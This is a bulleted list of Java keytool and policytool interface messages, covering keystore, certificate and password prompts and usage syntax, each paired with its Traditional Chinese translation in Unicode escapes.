                                                                              • -keystore must be NONE if -storetype is {0}
                                                                              • \u5982\u679c -storetype \u70ba {0}\uff0c\u5247 -keystore \u5fc5\u9808\u70ba NONE
                                                                              • Too may retries, program terminated
                                                                              • \u91cd\u8a66\u6b21\u6578\u592a\u591a\uff0c\u7a0b\u5f0f\u5df2\u7d42\u6b62
                                                                              • -storepasswd and -keypasswd commands not supported if -storetype is {0}
                                                                              • \u5982\u679c -storetype \u70ba {0}\uff0c\u5247\u4e0d\u652f\u63f4 -storepasswd \u548c -keypasswd \u6307\u4ee4
                                                                              • -keypasswd commands not supported if -storetype is PKCS12
                                                                              • \u5982\u679c -storetype \u70ba PKCS12\uff0c\u5247 -keypasswd \u6307\u4ee4\u4e0d\u53d7\u652f\u63f4
                                                                              • -keypass and -new can not be specified if -storetype is {0}
                                                                              • \u5982\u679c -storetype \u70ba {0}\uff0c\u5247\u4e0d\u80fd\u6307\u5b9a -keypass \u548c -new
                                                                              • if -protected is specified, then -storepass, -keypass, and -new must not be specified
                                                                              • \u5982\u679c\u6307\u5b9a -protected\uff0c\u5247\u4e0d\u80fd\u6307\u5b9a -storepass\u3001-keypass \u548c -new
                                                                              • if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified
                                                                              • \u5982\u679c\u6307\u5b9a -srcprotected\uff0c\u5247\u4e0d\u80fd\u6307\u5b9a -srcstorepass \u548c -srckeypass
                                                                              • if keystore is not password protected, then -storepass, -keypass, and -new must not be specified
                                                                              • \u5982\u679c\u91d1\u9470\u5eab\u4e0d\u53d7\u5bc6\u78bc\u4fdd\u8b77\uff0c\u5247\u4e0d\u80fd\u6307\u5b9a -storepass\u3001-keypass \u548c -new
                                                                              • if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified
                                                                              • \u5982\u679c\u4f86\u6e90\u91d1\u9470\u5eab\u4e0d\u53d7\u5bc6\u78bc\u4fdd\u8b77\uff0c\u5247\u4e0d\u80fd\u6307\u5b9a -srcstorepass \u548c -srckeypass
                                                                              • Validity must be greater than zero
                                                                              • \u6709\u6548\u6027\u5fc5\u9808\u6bd4\u96f6\u9084\u5927
                                                                              • provName not a provider
                                                                              • {0} \u4e0d\u662f\u4e00\u500b\u63d0\u4f9b\u8005
                                                                              • Usage error: no command provided
                                                                              • \u7528\u6cd5\u932f\u8aa4\uff1a\u672a\u63d0\u4f9b\u6307\u4ee4
                                                                              • Usage error, <arg> is not a legal command
                                                                              • \u7528\u6cd5\u932f\u8aa4\uff0c{0} \u4e0d\u662f\u5408\u6cd5\u6307\u4ee4
                                                                              • Source keystore file exists, but is empty:
                                                                              • \u4f86\u6e90\u91d1\u9470\u5132\u5b58\u5eab\u6a94\u6848\u5b58\u5728\uff0c\u4f46\u70ba\u7a7a\uff1a
                                                                              • Please specify -srckeystore
                                                                              • \u8acb\u6307\u5b9a -srckeystore
                                                                              • Must not specify both -v and -rfc with \'list\' command
                                                                              • \u4e0d\u5f97\u4ee5\u300c\u6e05\u55ae\u300d\u6307\u4ee4\u6307\u5b9a -v \u53ca -rfc
                                                                              • Key password must be at least 6 characters
                                                                              • \u95dc\u9375\u5bc6\u78bc\u5fc5\u9808\u81f3\u5c11\u70ba 6 \u500b\u5b57\u5143
                                                                              • New password must be at least 6 characters
                                                                              • \u65b0\u7684\u5bc6\u78bc\u5fc5\u9808\u81f3\u5c11\u70ba 6 \u500b\u5b57\u5143
                                                                              • Keystore file exists, but is empty:
                                                                              • Keystore \u6a94\u6848\u5b58\u5728\uff0c\u4f46\u70ba\u7a7a\u767d\uff1a
                                                                              • Keystore file does not exist:
                                                                              • Keystore \u6a94\u6848\u4e0d\u5b58\u5728\uff1a
                                                                              • Must specify destination alias
                                                                              • \u5fc5\u9808\u6307\u5b9a\u76ee\u7684\u5730\u5225\u540d
                                                                              • Must specify alias
                                                                              • \u5fc5\u9808\u6307\u5b9a\u5225\u540d
                                                                              • Keystore password must be at least 6 characters
                                                                              • Keystore \u5bc6\u78bc\u5fc5\u9808\u81f3\u5c11\u70ba 6 \u500b\u5b57\u5143
                                                                              • Enter keystore password:
                                                                              • \u8f38\u5165 keystore \u5bc6\u78bc\uff1a
                                                                              • Enter source keystore password:
                                                                              • \u8acb\u8f38\u5165\u4f86\u6e90\u91d1\u9470\u5132\u5b58\u5eab\u5bc6\u78bc\uff1a
                                                                              • Enter destination keystore password:
                                                                              • \u8acb\u8f38\u5165\u76ee\u6a19\u91d1\u9470\u5132\u5b58\u5eab\u5bc6\u78bc\uff1a
                                                                              • Keystore password is too short - must be at least 6 characters
                                                                              • Keystore \u5bc6\u78bc\u592a\u77ed - \u5fc5\u9808\u81f3\u5c11\u70ba 6 \u500b\u5b57\u5143
                                                                              • Unknown Entry Type
                                                                              • \u4e0d\u660e\u7684\u9805\u76ee\u985e\u578b
                                                                              • Too many failures. Alias not changed
                                                                              • \u592a\u591a\u932f\u8aa4\u3002\u672a\u8b8a\u66f4\u5225\u540d
                                                                              • Entry for alias <alias> successfully imported.
                                                                              • \u5df2\u6210\u529f\u532f\u5165\u5225\u540d {0} \u7684\u9805\u76ee\u3002
                                                                              • Entry for alias <alias> not imported.
                                                                              • \u672a\u532f\u5165\u5225\u540d {0} \u7684\u9805\u76ee\u3002
                                                                              • Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported.
                                                                              • \u532f\u5165\u5225\u540d {0} \u7684\u9805\u76ee\u6642\u51fa\u73fe\u554f\u984c\uff1a{1}\u3002\n\u672a\u532f\u5165\u5225\u540d {0} \u7684\u9805\u76ee\u3002
                                                                              • Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled
                                                                              • \u5df2\u5b8c\u6210\u532f\u5165\u6307\u4ee4\uff1a\u6210\u529f\u532f\u5165 {0} \u500b\u9805\u76ee\uff0c{1} \u500b\u9805\u76ee\u5931\u6557\u6216\u5df2\u53d6\u6d88
                                                                              • Warning: Overwriting existing alias <alias> in destination keystore
                                                                              • \u8b66\u544a\uff1a\u6b63\u5728\u8986\u5beb\u76ee\u6a19\u91d1\u9470\u5132\u5b58\u5eab\u4e2d\u7684\u73fe\u6709\u5225\u540d {0}
                                                                              • Existing entry alias <alias> exists, overwrite? [no]:
                                                                              • \u73fe\u6709\u9805\u76ee\u5225\u540d {0} \u5b58\u5728\uff0c\u662f\u5426\u8986\u5beb\uff1f[\u5426]\uff1a
                                                                              • Too many failures - try later
                                                                              • \u592a\u591a\u932f\u8aa4 - \u8acb\u7a0d\u5f8c\u518d\u8a66
                                                                              • Certification request stored in file <filename>
                                                                              • \u8a8d\u8b49\u8981\u6c42\u5132\u5b58\u5728\u6a94\u6848 <{0}>
                                                                              • Submit this to your CA
                                                                              • \u5c07\u6b64\u63d0\u9001\u81f3\u60a8\u7684 CA
                                                                              • if alias not specified, destalias, srckeypass, and destkeypass must not be specified
                                                                              • \u5982\u679c\u672a\u6307\u5b9a\u5225\u540d\uff0c\u5247\u4e0d\u80fd\u6307\u5b9a destalias\u3001srckeypass \u53ca destkeypass
                                                                              • Certificate stored in file <filename>
                                                                              • \u8a8d\u8b49\u5132\u5b58\u5728\u6a94\u6848 <{0}>
                                                                              • Certificate reply was installed in keystore
                                                                              • \u8a8d\u8b49\u56de\u8986\u5df2\u5b89\u88dd\u5728 keystore \u4e2d
                                                                              • Certificate reply was not installed in keystore
                                                                              • \u8a8d\u8b49\u56de\u8986\u672a\u5b89\u88dd\u5728 keystore \u4e2d
                                                                              • Certificate was added to keystore
                                                                              • \u8a8d\u8b49\u5df2\u65b0\u589e\u81f3 keystore \u4e2d
                                                                              • Certificate was not added to keystore
                                                                              • \u8a8d\u8b49\u672a\u65b0\u589e\u81f3 keystore \u4e2d
                                                                              • [Storing ksfname]
                                                                              • [\u5132\u5b58 {0}]
                                                                              • alias has no public key (certificate)
                                                                              • {0} \u6c92\u6709\u516c\u958b\u91d1\u9470\uff08\u8a8d\u8b49\uff09
                                                                              • Cannot derive signature algorithm
                                                                              • \u7121\u6cd5\u53d6\u5f97\u7c3d\u540d\u6f14\u7b97\u6cd5
                                                                              • Alias <alias> does not exist
                                                                              • \u5225\u540d <{0}> \u4e0d\u5b58\u5728
                                                                              • Alias <alias> has no certificate
                                                                              • \u5225\u540d <{0}> \u6c92\u6709\u8a8d\u8b49
                                                                              • Key pair not generated, alias <alias> already exists
                                                                              • \u6c92\u6709\u5efa\u7acb\u9375\u503c\u5c0d\uff0c\u5225\u540d <{0}> \u5df2\u7d93\u5b58\u5728
                                                                              • Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name
                                                                              • \u91dd\u5c0d {4} \u7522\u751f\u6709\u6548\u671f\u70ba {3} \u5929\u7684 {0} \u4f4d\u5143 {1} \u91d1\u9470\u5c0d\u4ee5\u53ca\u81ea\u6211\u7c3d\u7f72\u6191\u8b49 ({2})\n\t
                                                                              • Enter key password for <alias>
                                                                              • \u8f38\u5165 <{0}> \u7684\u4e3b\u5bc6\u78bc
                                                                              • \t(RETURN if same as keystore password):
                                                                              • \t\uff08RETURN \u5982\u679c\u548c keystore \u5bc6\u78bc\u76f8\u540c\uff09\uff1a
                                                                              • Key password is too short - must be at least 6 characters
                                                                              • \u4e3b\u5bc6\u78bc\u592a\u77ed - \u5fc5\u9808\u81f3\u5c11\u70ba 6 \u500b\u5b57\u5143
                                                                              • Too many failures - key not added to keystore
                                                                              • \u592a\u591a\u932f\u8aa4 - \u9375\u503c\u672a\u88ab\u65b0\u589e\u81f3 keystore \u4e2d
                                                                              • Destination alias <dest> already exists
                                                                              • \u76ee\u7684\u5730\u5225\u540d <{0}> \u5df2\u7d93\u5b58\u5728
                                                                              • Password is too short - must be at least 6 characters
                                                                              • \u5bc6\u78bc\u592a\u77ed - \u5fc5\u9808\u81f3\u5c11\u70ba 6 \u500b\u5b57\u5143
                                                                              • Too many failures. Key entry not cloned
                                                                              • \u592a\u591a\u932f\u8aa4\u3002 \u9375\u503c\u8f38\u5165\u672a\u88ab\u8907\u88fd
                                                                              • key password for <alias>
                                                                              • <{0}> \u7684\u4e3b\u5bc6\u78bc
                                                                              • Keystore entry for <id.getName()> already exists
                                                                              • <{0}> \u7684 Keystore \u8f38\u5165\u5df2\u7d93\u5b58\u5728
                                                                              • Creating keystore entry for <id.getName()> ...
                                                                              • \u5efa\u7acb <{0}> \u7684 keystore \u8f38\u5165...
                                                                              • No entries from identity database added
                                                                              • \u5f9e\u65b0\u589e\u8fa8\u8b58\u8cc7\u6599\u5eab\u4e2d\uff0c\u6c92\u6709\u8f38\u5165
                                                                              • Alias name: alias
                                                                              • \u5225\u540d\u540d\u7a31\uff1a {0}
                                                                              • Creation date: keyStore.getCreationDate(alias)
                                                                              • \u5efa\u7acb\u65e5\u671f\uff1a {0,date}
                                                                              • alias, keyStore.getCreationDate(alias),
                                                                              • {0}, {1,date},
                                                                              • alias,
                                                                              • {0},
                                                                              • Entry type: <type>
                                                                              • \u9805\u76ee\u985e\u578b\uff1a{0}
                                                                              • Certificate chain length:
                                                                              • \u8a8d\u8b49\u93c8\u9577\u5ea6\uff1a
                                                                              • Certificate[(i + 1)]:
                                                                              • \u8a8d\u8b49 [{0,number,integer}]:
                                                                              • Certificate fingerprint (MD5):
                                                                              • \u8a8d\u8b49\u6307\u7d0b (MD5)\uff1a
                                                                              • Entry type: trustedCertEntry\n
                                                                              • \u8f38\u5165\u985e\u578b\uff1a trustedCertEntry\n
                                                                              • trustedCertEntry,
                                                                              • Keystore type:
                                                                              • Keystore \u985e\u578b\uff1a
                                                                              • Keystore provider:
                                                                              • Keystore \u63d0\u4f9b\u8005\uff1a
                                                                              • Your keystore contains keyStore.size() entry
                                                                              • \u60a8\u7684 keystore \u5305\u542b {0,number,integer} \u8f38\u5165
                                                                              • Your keystore contains keyStore.size() entries
                                                                              • Failed to parse input
                                                                              • \u7121\u6cd5\u8a9e\u6cd5\u5206\u6790\u8f38\u5165
                                                                              • Empty input
                                                                              • \u7a7a\u8f38\u5165
                                                                              • Not X.509 certificate
                                                                              • \u975e X.509 \u8a8d\u8b49
                                                                              • alias has no public key
                                                                              • {0} \u7121\u516c\u958b\u91d1\u9470
                                                                              • alias has no X.509 certificate
                                                                              • {0} \u7121 X.509 \u8a8d\u8b49
                                                                              • New certificate (self-signed):
                                                                              • \u65b0\u8a8d\u8b49\uff08\u81ea\u6211\u7c3d\u7f72\uff09\uff1a
                                                                              • Reply has no certificates
                                                                              • \u56de\u8986\u4e0d\u542b\u8a8d\u8b49
                                                                              • Certificate not imported, alias <alias> already exists
                                                                              • \u8a8d\u8b49\u672a\u8f38\u5165\uff0c\u5225\u540d <{0}> \u5df2\u7d93\u5b58\u5728
                                                                              • Input not an X.509 certificate
                                                                              • \u6240\u8f38\u5165\u7684\u4e0d\u662f\u4e00\u500b X.509 \u8a8d\u8b49
                                                                              • Certificate already exists in keystore under alias <trustalias>
                                                                              • \u5728 <{0}> \u7684\u5225\u540d\u4e4b\u4e0b\uff0c\u8a8d\u8b49\u5df2\u7d93\u5b58\u5728 keystore \u4e2d
                                                                              • Do you still want to add it? [no]:
                                                                              • \u60a8\u4ecd\u7136\u60f3\u8981\u5c07\u4e4b\u65b0\u589e\u55ce\uff1f [\u5426]\uff1a
                                                                              • Certificate already exists in system-wide CA keystore under alias <trustalias>
                                                                              • \u5728 <{0}> \u7684\u5225\u540d\u4e4b\u4e0b\uff0c\u8a8d\u8b49\u5df2\u7d93\u5b58\u5728\u65bc CA keystore \u6574\u500b\u7cfb\u7d71\u4e4b\u4e2d
                                                                              • Do you still want to add it to your own keystore? [no]:
                                                                              • \u60a8\u4ecd\u7136\u60f3\u8981\u5c07\u4e4b\u65b0\u589e\u81f3\u81ea\u5df1\u7684 keystore \u55ce\uff1f [\u5426]\uff1a
                                                                              • Trust this certificate? [no]:
                                                                              • \u4fe1\u4efb\u9019\u500b\u8a8d\u8b49\uff1f [\u5426]\uff1a
                                                                              • YES
                                                                              • \u662f
                                                                              • New prompt:
                                                                              • \u65b0 {0}\uff1a
                                                                              • Passwords must differ
                                                                              • \u5fc5\u9808\u662f\u4e0d\u540c\u7684\u5bc6\u78bc
                                                                              • Re-enter new prompt:
                                                                              • \u91cd\u65b0\u8f38\u5165\u65b0 {0}\uff1a
                                                                              • Re-enter new password:
                                                                              • \u91cd\u65b0\u8f38\u5165\u65b0\u5bc6\u78bc:
                                                                              • They don\'t match. Try again
                                                                              • \u5b83\u5011\u4e0d\u76f8\u7b26\u3002\u8acb\u91cd\u8a66
                                                                              • Enter prompt alias name:
                                                                              • \u8f38\u5165 {0} \u5225\u540d\u540d\u7a31\uff1a
                                                                              • Enter new alias name\t(RETURN to cancel import for this entry):
                                                                              • \u8acb\u8f38\u5165\u65b0\u7684\u5225\u540d\t(RETURN \u4ee5\u53d6\u6d88\u532f\u5165\u6b64\u9805\u76ee\u7684\u5225\u540d)\uff1a
                                                                              • Enter alias name:
                                                                              • \u8f38\u5165\u5225\u540d\u540d\u7a31\uff1a
                                                                              • \t(RETURN if same as for <otherAlias>)
                                                                              • \t\uff08RETURN \u5982\u679c\u548c <{0}> \u7684\u76f8\u540c\uff09
                                                                              • *PATTERN* printX509Cert
                                                                              • \u6240\u6709\u8005\uff1a{0}\n\u6838\u767c\u8005\uff1a{1}\n\u5e8f\u865f\uff1a{2}\n\u81ea\u4ee5\u4e0b\u65e5\u671f\u958b\u59cb\u751f\u6548\uff1a{3}\uff0c\u76f4\u5230\uff1a{4}\n\u6191\u8b49\u6307\u7d0b\uff1a\n\tMD5\uff1a{5}\n\tSHA1\uff1a{6}\n\t\u7c3d\u540d\u6f14\u7b97\u6cd5\u540d\u7a31\uff1a{7}\n\t\u7248\u672c\uff1a{8}
                                                                              • What is your first and last name?
                                                                              • \u60a8\u7684\u540d\u5b57\u8207\u59d3\u6c0f\u70ba\u4f55\uff1f
                                                                              • What is the name of your organizational unit?
                                                                              • \u60a8\u7684\u7de8\u5236\u55ae\u4f4d\u540d\u7a31\u70ba\u4f55\uff1f
                                                                              • What is the name of your organization?
                                                                              • \u60a8\u7684\u7d44\u7e54\u540d\u7a31\u70ba\u4f55\uff1f
                                                                              • What is the name of your City or Locality?
                                                                              • \u60a8\u6240\u5728\u7684\u57ce\u5e02\u6216\u5730\u5340\u540d\u7a31\u70ba\u4f55\uff1f
                                                                              • What is the name of your State or Province?
                                                                              • \u60a8\u6240\u5728\u7684\u5dde\u53ca\u7701\u4efd\u540d\u7a31\u70ba\u4f55\uff1f
                                                                              • What is the two-letter country code for this unit?
                                                                              • \u8a72\u55ae\u4f4d\u7684\u4e8c\u5b57\u570b\u78bc\u70ba\u4f55
                                                                              • Is <name> correct?
                                                                              • {0} \u6b63\u78ba\u55ce\uff1f
                                                                              • no
                                                                              • \u5426
                                                                              • yes
                                                                              • y
                                                                              • [defaultValue]:
                                                                              • [{0}]\uff1a
                                                                              • Alias <alias> has no key
                                                                              • \u5225\u540d <{0}> \u6c92\u6709\u91d1\u9470
                                                                              • Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries
                                                                              • \u5225\u540d <{0}> \u6240\u53c3\u7167\u7684\u9805\u76ee\u4e0d\u662f\u79c1\u5bc6\u91d1\u9470\u985e\u578b\u3002-keyclone \u6307\u4ee4\u50c5\u652f\u63f4\u79c1\u5bc6\u91d1\u9470\u9805\u76ee\u7684\u8907\u88fd
                                                                              • ***************** WARNING WARNING WARNING *****************
                                                                              • ***************** \u8b66\u544a \u8b66\u544a \u8b66\u544a *****************
                                                                              • * The integrity of the information stored in your keystore *
                                                                              • * \u8cc7\u6599\u7684\u5b8c\u6574\u6027\u5df2\u5132\u5b58\u5728\u60a8\u7684 keystore \u4e2d *
                                                                              • * The integrity of the information stored in the srckeystore*
                                                                              • * \u5b8c\u6574\u7684\u8cc7\u8a0a\u5132\u5b58\u5728 srckeystore \u4e2d *
                                                                              • * has NOT been verified! In order to verify its integrity, *
                                                                              • * \u5c1a\u672a\u88ab\u9a57\u8b49\uff01 \u70ba\u4e86\u9a57\u8b49\u5176\u5b8c\u6574\u6027\uff0c *
                                                                              • * you must provide your keystore password. *
                                                                              • * \u60a8\u5fc5\u9808\u63d0\u4f9b\u60a8 keystore \u7684\u5bc6\u78bc\u3002 *
                                                                              • * you must provide the srckeystore password. *
                                                                              • * \u60a8\u5fc5\u9808\u63d0\u4f9b srckeystore \u5bc6\u78bc\u3002 *
                                                                              • Certificate reply does not contain public key for <alias>
                                                                              • \u8a8d\u8b49\u56de\u8986\u4e26\u672a\u5305\u542b <{0}> \u7684\u516c\u958b\u91d1\u9470
                                                                              • Incomplete certificate chain in reply
                                                                              • \u56de\u8986\u6642\u7684\u8a8d\u8b49\u9375\u4e0d\u5b8c\u6574
                                                                              • Certificate chain in reply does not verify:
                                                                              • \u56de\u8986\u6642\u7684\u8a8d\u8b49\u93c8\u672a\u9a57\u8b49\uff1a
                                                                              • Top-level certificate in reply:\n
                                                                              • \u56de\u8986\u6642\u7684\u6700\u9ad8\u7d1a\u8a8d\u8b49\uff1a\n
                                                                              • ... is not trusted.
                                                                              • ... \u662f\u4e0d\u88ab\u4fe1\u4efb\u7684\u3002
                                                                              • Install reply anyway? [no]:
                                                                              • \u9084\u662f\u8981\u5b89\u88dd\u56de\u8986\uff1f [\u5426]\uff1a
                                                                              • NO
                                                                              • Public keys in reply and keystore don\'t match
                                                                              • \u56de\u8986\u6642\u7684\u516c\u958b\u91d1\u9470\u8207 keystore \u4e0d\u7b26
                                                                              • Certificate reply and certificate in keystore are identical
                                                                              • \u8a8d\u8b49\u56de\u8986\u8207 keystore \u4e2d\u7684\u8a8d\u8b49\u662f\u76f8\u540c\u7684
                                                                              • Failed to establish chain from reply
                                                                              • \u7121\u6cd5\u5f9e\u56de\u8986\u4e2d\u5c07\u9375\u5efa\u7acb\u8d77\u4f86
                                                                              • n
                                                                              • Wrong answer, try again
                                                                              • \u932f\u8aa4\u7684\u7b54\u6848\uff0c\u8acb\u518d\u8a66\u4e00\u6b21
                                                                              • Secret key not generated, alias <alias> already exists
                                                                              • \u672a\u7522\u751f\u79d8\u5bc6\u91d1\u9470\uff0c\u5225\u540d <{0}> \u5df2\u5b58\u5728
                                                                              • Please provide -keysize for secret key generation
                                                                              • \u8acb\u63d0\u4f9b -keysize \u4ee5\u7522\u751f\u79d8\u5bc6\u91d1\u9470
                                                                              • keytool usage:\n
                                                                              • keytool \u7528\u6cd5\uff1a\n
                                                                              • Extensions:
                                                                              • \u5ef6\u4f38\uff1a
                                                                              • -certreq [-v] [-protected]
                                                                              • \t [-alias <alias>] [-sigalg <sigalg>]
                                                                              • \t [-alias <\u5225\u540d>] [-sigalg <\u7c3d\u7ae0\u6f14\u7b97\u6cd5>]
                                                                              • \t [-file <csr_file>] [-keypass <keypass>]
                                                                              • \t [-file <\u6191\u8b49\u7c3d\u7ae0\u8981\u6c42\u6a94\u6848>] [-keypass <\u4e3b\u5bc6\u78bc>]
                                                                              • \t [-keystore <keystore>] [-storepass <storepass>]
                                                                              • \t [-keystore <\u91d1\u9470\u5132\u5b58\u5eab>] [-storepass <\u5132\u5b58\u5eab\u5bc6\u78bc>]
                                                                              • \t [-storetype <storetype>] [-providername <name>]
                                                                              • \t[-storetype <\u5132\u5b58\u5eab\u985e\u578b>] [-providername <\u540d\u7a31>]
                                                                              • \t [-providerclass <provider_class_name> [-providerarg <arg>]] ...
                                                                              • \t[-providerclass <\u63d0\u4f9b\u8005\u985e\u5225\u540d\u7a31> [-providerarg <\u5f15\u6578>]] ...
                                                                              • \t [-providerpath <pathlist>]
                                                                              • \t[-providerpath <\u8def\u5f91\u6e05\u55ae>]
                                                                              • -delete [-v] [-protected] -alias <alias>
                                                                              • -delete [-v] [-protected] -alias <\u5225\u540d>
                                                                              • -exportcert [-v] [-rfc] [-protected]
                                                                              • -exportcert [-v] [-rfc] [-protected]
                                                                              • \t [-alias <alias>] [-file <cert_file>]
                                                                              • \t [-alias <\u5225\u540d>] [-file <\u8a8d\u8b49\u6a94\u6848>]
                                                                              • -genkeypair [-v] [-protected]
                                                                              • -genkeypair [-v] [-protected]
                                                                              • \t [-alias <alias>]
                                                                              • \t [-alias <\u5225\u540d>]
                                                                              • \t [-keyalg <keyalg>] [-keysize <keysize>]
                                                                              • \t [-keyalg <\u91d1\u9470\u6f14\u7b97\u6cd5>] [-keysize <\u91d1\u9470\u5927\u5c0f>]
                                                                              • \t [-sigalg <sigalg>] [-dname <dname>]
                                                                              • \t [-sigalg <\u7c3d\u7ae0\u6f14\u7b97\u6cd5>] [-dname <\u7db2\u57df\u540d\u7a31>]
                                                                              • \t [-validity <valDays>] [-keypass <keypass>]
                                                                              • \t [-validity <\u6709\u6548\u5929\u6578>] [-keypass <\u4e3b\u5bc6\u78bc>]
                                                                              • -genseckey [-v] [-protected]
                                                                              • -genseckey [-v] [-protected]
                                                                              • -help
                                                                              • -importcert [-v] [-noprompt] [-trustcacerts] [-protected]
                                                                              • -importcert [-v] [-noprompt] [-trustcacerts] [-protected]
                                                                              • \t [-alias <alias>] [-keypass <keypass>]
                                                                              • \t[-alias <\u5225\u540d>] [-keypass <\u4e3b\u5bc6\u78bc>]
                                                                              • \t [-file <cert_file>] [-keypass <keypass>]
                                                                              • \t [-file <\u8a8d\u8b49\u6a94\u6848>] [-keypass <\u4e3b\u5bc6\u78bc>]
                                                                              • -importkeystore [-v]
                                                                              • -importkeystore [-v]
                                                                              • \t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]
                                                                              • \t[-srckeystore <\u4f86\u6e90\u91d1\u9470\u5132\u5b58\u5eab>] [-destkeystore <\u76ee\u6a19\u91d1\u9470\u5132\u5b58\u5eab>]
                                                                              • \t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]
                                                                              • \t[-srcstoretype <\u4f86\u6e90\u5132\u5b58\u5eab\u985e\u578b>] [-deststoretype <\u76ee\u6a19\u5132\u5b58\u5eab\u985e\u578b>]
                                                                              • \t [-srcprotected] [-destprotected]
                                                                              • \t[-srcprotected] [-destprotected]
                                                                              • \t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]
                                                                              • \t[-srcstorepass <\u4f86\u6e90\u5132\u5b58\u5eab\u5bc6\u78bc>] [-deststorepass <\u76ee\u6a19\u5132\u5b58\u5eab\u5bc6\u78bc>]
                                                                              • \t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]
                                                                              • \t[-srcprovidername <\u4f86\u6e90\u63d0\u4f9b\u8005\u540d\u7a31>]\n\t[-destprovidername <\u76ee\u6a19\u63d0\u4f9b\u8005\u540d\u7a31>]
                                                                              • \t [-srcalias <srcalias> [-destalias <destalias>]
                                                                              • \t[-srcalias <\u4f86\u6e90\u5225\u540d> [-destalias <\u76ee\u6a19\u5225\u540d>]
                                                                              • \t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]
                                                                              • \t[-srckeypass <\u4f86\u6e90\u4e3b\u5bc6\u78bc>] [-destkeypass <\u76ee\u6a19\u4e3b\u5bc6\u78bc>]]
                                                                              • \t [-noprompt]
                                                                              • \t[-noprompt]
                                                                              • -changealias [-v] [-protected] -alias <alias> -destalias <destalias>
                                                                              • -changealias [-v] [-protected] -alias <\u5225\u540d> -destalias <\u76ee\u6a19\u5225\u540d>
                                                                              • \t [-keypass <keypass>]
                                                                              • \t [-keypass <\u4e3b\u5bc6\u78bc>]
                                                                              • -keypasswd [-v] [-alias <alias>]
                                                                              • -keypasswd [-v] [-alias <\u5225\u540d>]
                                                                              • \t [-keypass <old_keypass>] [-new <new_keypass>]
                                                                              • \t [-keypass <\u820a\u4e3b\u5bc6\u78bc>] [-new <\u65b0\u4e3b\u5bc6\u78bc>]
                                                                              • -list [-v | -rfc] [-protected]
                                                                              • -printcert [-v] [-file <cert_file>]
                                                                              • -printcert [-v] [-file <\u8a8d\u8b49\u6a94\u6848>]
                                                                              • -storepasswd [-v] [-new <new_storepass>]
                                                                              • -storepasswd [-v] [-new <\u65b0\u5132\u5b58\u5eab\u5bc6\u78bc>]
                                                                              • Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured.
                                                                              • \u8b66\u544a\ufe30\u5225\u540d {0} \u7684\u516c\u958b\u91d1\u9470\u4e0d\u5b58\u5728\u3002\u8acb\u78ba\u5b9a\u91d1\u9470\u5132\u5b58\u5eab\u914d\u7f6e\u6b63\u78ba\u3002
                                                                              • Warning: Class not found: class
                                                                              • \u8b66\u544a\ufe30\u627e\u4e0d\u5230\u985e\u5225 {0}
                                                                              • Warning: Invalid argument(s) for constructor: arg
                                                                              • \u8b66\u544a\ufe30\u7121\u6548\u7684\u5efa\u69cb\u5b50\u5f15\u6578\uff1a{0}
                                                                              • Illegal Principal Type: type
                                                                              • \u975e\u6cd5\u7684\u4e3b\u9ad4\u985e\u578b\ufe30{0}
                                                                              • Illegal option: option
                                                                              • \u975e\u6cd5\u7684\u9078\u9805\uff1a{0}
                                                                              • Usage: policytool [options]
                                                                              • \u7528\u6cd5\uff1a policytool [\u9078\u9805]
                                                                              • [-file <file>] policy file location
                                                                              • [-file <file>] \u898f\u5247\u6a94\u6848\u4f4d\u7f6e
                                                                              • New
                                                                              • \u65b0\u589e
                                                                              • Open
                                                                              • \u958b\u555f
                                                                              • Save
                                                                              • \u5132\u5b58
                                                                              • Save As
                                                                              • \u53e6\u5b58\u65b0\u6a94
                                                                              • View Warning Log
                                                                              • \u6aa2\u8996\u8b66\u544a\u8a18\u9304
                                                                              • Exit
                                                                              • \u96e2\u958b
                                                                              • Add Policy Entry
                                                                              • \u65b0\u589e\u898f\u5247\u9805\u76ee
                                                                              • Edit Policy Entry
                                                                              • \u7de8\u8f2f\u898f\u5247\u9805\u76ee
                                                                              • Remove Policy Entry
                                                                              • \u79fb\u9664\u898f\u5247\u9805\u76ee
                                                                              • Edit
                                                                              • \u7de8\u8f2f
                                                                              • Retain
                                                                              • \u4fdd\u7559
                                                                              • Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name.
                                                                              • Add Public Key Alias
                                                                              • \u65b0\u589e\u516c\u958b\u91d1\u9470\u5225\u540d
                                                                              • Remove Public Key Alias
                                                                              • \u79fb\u9664\u516c\u958b\u91d1\u9470\u5225\u540d
                                                                              • File
                                                                              • \u6a94\u6848
                                                                              • KeyStore
                                                                              • \u91d1\u9470\u5132\u5b58\u5eab
                                                                              • Policy File:
                                                                              • \u898f\u5247\u6a94\u6848\uff1a
                                                                              • Could not open policy file: policyFile: e.toString()
                                                                              • \u7121\u6cd5\u958b\u555f\u7b56\u7565\u6a94\u6848\uff1a{0}\uff1a{1}
                                                                              • Policy Tool
                                                                              • \u898f\u5247\u5de5\u5177
                                                                              • Errors have occurred while opening the policy configuration. View the Warning Log for more information.
                                                                              • \u958b\u555f\u898f\u5247\u8a18\u7f6e\u6642\u767c\u751f\u932f\u8aa4\u3002 \u8acb\u6aa2\u8996\u8b66\u544a\u8a18\u9304\u4ee5\u53d6\u5f97\u66f4\u591a\u7684\u8cc7\u8a0a
                                                                              • Error
                                                                              • \u932f\u8aa4
                                                                              • OK
                                                                              • \u78ba\u8a8d
                                                                              • Status
                                                                              • \u72c0\u614b
                                                                              • Warning
                                                                              • \u8b66\u544a
                                                                              • Permission:
                                                                              • \u8a31\u53ef\uff1a
                                                                              • Principal Type:
                                                                              • Principal \u985e\u578b\uff1a
                                                                              • Principal Name:
                                                                              • Principal \u540d\u7a31\uff1a
                                                                              • Target Name:
                                                                              • \u76ee\u6a19\u540d\u7a31\uff1a
                                                                              • Actions:
                                                                              • \u52d5\u4f5c\uff1a
